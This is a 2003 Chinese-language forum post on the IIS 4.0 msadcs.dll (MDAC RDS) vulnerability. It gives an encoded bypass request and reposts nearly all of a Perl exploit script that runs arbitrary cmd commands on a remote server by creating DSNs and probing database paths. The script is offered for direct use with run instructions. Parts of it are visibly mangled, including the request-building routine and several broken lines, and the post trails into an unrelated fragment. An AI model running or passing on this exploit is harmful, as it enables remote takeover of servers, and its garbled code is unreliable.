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楼主 |
发表于 2003-6-5 22:53:07
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四十三.msadcs.dll
IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许
通过web远程访问ODBC，获取系统的控制权.、如果web目录下的/msadc/msadcs.dll/可以访问，
那么ms的任何补丁可能都没用，用类似:
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。
攻击程序:
#将下面这段保存为txt文件，然后: "perl -x 文件名"
#!perl
#
# MSADC/RDS 'usage' (aka exploit) script
#
# by rain.forest.puppy
#
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
# beta test and find errors!
use Socket; use Getopt::Std;
getopts("e:vd:h:XR", \%args);
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
if (!defined $args{h} && !defined $args{R}) {
print qq~
Usage: msadc.pl -h { -d -X -v }
-h = host you want to scan (ip or domain)
-d = delay between calls, default 1 second
-X = dump Index Server path table, if available
-v = verbose
-e = external dictionary file for step 5
Or a -R will resume a command session
~; exit;}
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
if (!defined $args{R}){ $ret = &has_msadc;
die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
print " lease type the NT commandline you want to run (cmd /c assumed):\n"
. "cmd /c ";
$in=; chomp $in;
$command="cmd /c " . $in ;
if (defined $args{R}) {&load; exit;}
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
&try_btcustmr;
print "\nStep 2: Trying to make our own DSN...";
&make_dsn ? print "<>\n" : print "<>\n";
print "\nStep 3: Trying known DSNs...";
&known_dsn;
print "\nStep 4: Trying known .mdbs...";
&known_mdb;
if (defined $args{e}){
print "\nStep 5: Trying dictionary of DSN names...";
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
print "Sorry Charley...maybe next time?\n";
exit;
##############################################################################
sub sendraw { # ripped and modded from whisker
sleep($delay); # it's a DoS on the server! At least on mine...
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
select(S); $|=1;
print $pstr; my @in=<S>;
select(STDOUT); close(S);
return @in;
} else { die("Can't connect...\n"); }}
##############################################################################
sub make_header { # make the HTTP request
my $msadc=<< length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
return $out;}
##############################################################################
sub rdo_success { # checks for RDO return success (this is kludge)
my (@in) = @_; my $base=content_start(@in);
if($in[$base]=~/multipart\/mixed/){
return 1 if( $in[$base+10]=~/^\x09\x00/ );}
return 0;}
##############################################################################
sub make_dsn { # this makes a DSN for us
my @drives=("c","d","e","f");
print "\nMaking DSN: ";
foreach $drive (@drives) {
print "$drive: ";
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
return 0 if $2 eq "404"; # not found/doesn't exist
if($2 eq "200") {
foreach $line (@results) {
return 1 if $line=~/(H2)Datasource creation successful<\/H2>/;}}
} return 0;}
##############################################################################
sub verify_exists {
my ($page)=@_;
my @results=sendraw("GET $page HTTP/1.0\n\n");
return $results[0];}
##############################################################################
sub try_btcustmr {
my @drives=("c","d","e","f");
my @dirs=("winnt","winnt35","winnt351","win","windows");
foreach $dir (@dirs) {
print "$dir -> "; # fun status so you can see progress
foreach $drive (@drives) {
print "$drive: "; # ditto
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(1,$drive,$dir));
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
##############################################################################
sub odbc_error {
my (@in)=@_; my $base;
my $base = content_start(@in);
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
return $in[$base+4].$in[$base+5].$in[$base+6];}
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
##############################################################################
sub verbose {
my ($in)=@_;
return if !$verbose;
print STDOUT "\n$in\n";}
##############################################################################
sub save {
my ($p1, $p2, $p3, $p4)=@_;
open(OUT, ">rds.save") || print "roblem saving parameters...\n";
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
close OUT;}
##############################################################################
sub load {
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
open(IN,"IN>; close(IN);
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
$target= inet_aton($ip) || die("inet_aton problems");
print "Resuming to $ip ...";
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
if($p[1]==1) {
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
if (rdo_success(@results)){print "Success!\n";}
else { print "failed\n"; verbose(odbc_error(@results));}}
elsif ($p[1]==3){
if(run_query("$p[3]")){
print "Success!\n";} else { print "failed\n"; }}
elsif ($p[1]==4){
if(run_query($drvst . "$p[3]")){
print "Success!\n"; } else { print "failed\n"; }}
exit;}
##############################################################################
sub create_table {
my ($in)=@_;
$reqlen=length( make_req(2,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(2,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results); verbose($temp);
return 1 if $temp=~/Table 'AZZ' already exists/;
return 0;}
##############################################################################
sub known_dsn {
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
"banner", "banners", "ads", "ADCDemo", "ADCTest");
foreach $dSn (@dsns) {
print ".";
next if (!is_access("DSN=$dSn"));
if(create_table("DSN=$dSn")){
print "$dSn successful\n";
if(run_query("DSN=$dSn")){
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
print "Something's borked. Use verbose next time\n";}}} print "\n";}
##############################################################################
sub is_access {
my ($in)=@_;
$reqlen=length( make_req(5,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(5,$in,""));
my $temp= odbc_error(@results);
verbose($temp); return 1 if ($temp=~/Microsoft Access/);
return 0;}
##############################################################################
sub run_query {
my ($in)=@_;
$reqlen=length( make_req(3,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(3,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results); verbose($temp);
return 0;}
##############################################################################
sub known_mdb {
my @drives=("c","d","e","f","g");
my @dirs=("winnt","winnt35","winnt351","win","windows");
my $dir, $drive, $mdb;
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
# this is sparse, because I don't know of many
my @sysmdbs=( "\\catroot\\icatalog.mdb",
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
"\\system32\\certmdb.mdb",
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
"\\cfusion\\cfapps\\forums\\forums_.mdb",
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
"\\cfusion\\cfapps\\security\\realm_.mdb",
"\\cfusion\\cfapps\\security\\data\\realm.mdb",
"\\cfusion\\database\\cfexamples.mdb",
"\\cfusion\\database\\cfsnippets.mdb",
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
"\\cfusion\\brighttiger\\database\\cleam.mdb",
"\\cfusion\\database\\smpolicy.mdb",
"\\cfusion\\database\cypress.mdb",
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
"\\website\\cgi-win\\dbsample.mdb",
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
); #these are just
foreach $drive (@drives) {
foreach $dir (@dirs){
foreach $mdb (@sysmdbs) {
print ".";
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
} else { print "Something's borked. Use verbose next time\n"; }}}}}
foreach $drive (@drives) {
foreach $mdb (@mdbs) {
print ".";
if(create_table($drv . $drive . $dir . $mdb)){
print "\n" . $drive . $dir . $mdb . " successful\n";
if(run_query($drv . $drive . $dir . $mdb)){
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
} else { print "Something's borked. Use verbose next time\n"; }}}}
}
##############################################################################
sub hork_idx {
print "\nAttempting to dump Index Server tables...\n";
print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
$reqlen=length( make_req(4,"","") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw2(make_header() . make_req(4,"",""));
if (rdo_success(@results)){
my $max=@results; my $c; my %d;
for($c=19; $c<$max; $c++){
$results[$c]=~s/\x00//g;
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
$d{"$1$2"}="";}
foreach $c (keys %d){ print "$c\n"; }
} else {print "Index server doesn't seem to be installed.\n"; }}
##############################################################################
sub dsn_dict {
open(IN, "<$args{e}") || die("Can't open external dictionary\n");
while(<IN>){
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
next if (!is_access("DSN=$dSn"));
if(create_table("DSN=$dSn")){
print "$dSn successful\n";
if(run_query("DSN=$dSn")){
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
print "Something's borked. Use verbose next time\n";}}}
print "\n"; close(IN);}
##############################################################################
sub sendraw2 { # ripped and modded from whisker
sleep($delay); # it's a DoS on the server! At least on mine...
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
print "Connected. Getting data";
open(OUT,">raw.out"); my @in;
select(S); $|=1; print $pstr;
while((S)){ print OUT $_; push @in, $_; print STDOUT ".";}
close(OUT); select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }}
##############################################################################
sub content_start { # this will take in the server headers
my (@in)=@_; my $c;
for ($c=1;$c<500;$c++) {
if($in[$c] =~/^\x0d\x0a/){
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
else { return $c+1; }}}
return -1;} # it should never get here actually
##############################################################################
sub funky {
my (@in)=@_; my $error=odbc_error(@in);
if($error=~/ADO could not find the specified provider/){
print "\nServer returned an ADO miscofiguration message\nAborting.\n";
exit;}
if($error=~/A Handler is required/){
print "\nServer has custom handler filters (they most likely are patched)\n";
exit;}
if($error=~/specified Handler has denied Access/){
print "\nServer has custom handler filters (they most likely are patched)\n";
exit;}}
##############################################################################
sub has_msadc {
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
my $base=content_start(@results);
return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
return 0;}
########################
(文中程序由于时间匆忙,可能有小错误,请自己校对) |
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狗仔卡
发表于 2003-6-5 22:47:57
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:")) != EOF) {